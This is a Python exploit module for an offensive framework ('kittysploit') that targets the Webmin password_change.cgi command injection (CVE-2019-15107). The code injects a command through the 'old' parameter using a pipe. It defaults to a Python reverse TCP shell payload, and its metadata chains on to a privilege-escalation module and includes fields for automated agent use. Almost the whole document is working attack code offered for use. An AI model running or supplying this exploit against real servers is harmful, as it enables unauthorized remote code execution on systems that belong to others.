Webmin password_change.cgi Backdoor

from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
	
	__info__ = {
		'name': "Webmin password_change.cgi Backdoor",
		'description': "An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.",
		'cve': '2019-15107',
		'payload': {
			"default": "payloads/singles/cmd/unix/python_reverse_tcp",
			"platform": Platform.ALL,
			"category": PayloadCategory.SINGLE,
			},			
		'devices': ('webmin 1.890',
					'webmin 1.900',
					'webmin 1.910',
					'webmin 1.920'),
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
		},
		}	

	def run(self):

		headers = {
			'Accept-Encoding': "gzip, deflate",
			'Accept': "*/*",
			'Accept-Language': "en",
			'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
			'Connection': "close",
			'Cookie': "redirect=1; testing=1; sid=x; sessiontest=1",
			'Referer': f"{self.target}/session_login.cgi",
			'Content-Type': "application/x-www-form-urlencoded",
			'Content-Length': "60",
			'cache-control': "no-cache"
		} 				
				
		payload=f"user=rootxx&pam=&expired=2&old=test|{self.payload}&new1=test2&new2=test2"
		print_status("Send request...")
		r = self.http_request(
						method = "POST",
						path = "/password_change.cgi",
						headers = headers,
						data = payload,
						verify = False
						)
		if r.status_code == 200 and "The current password is " in r.content:
			self.vulnerable()
		else:
			self.not_vulnerable()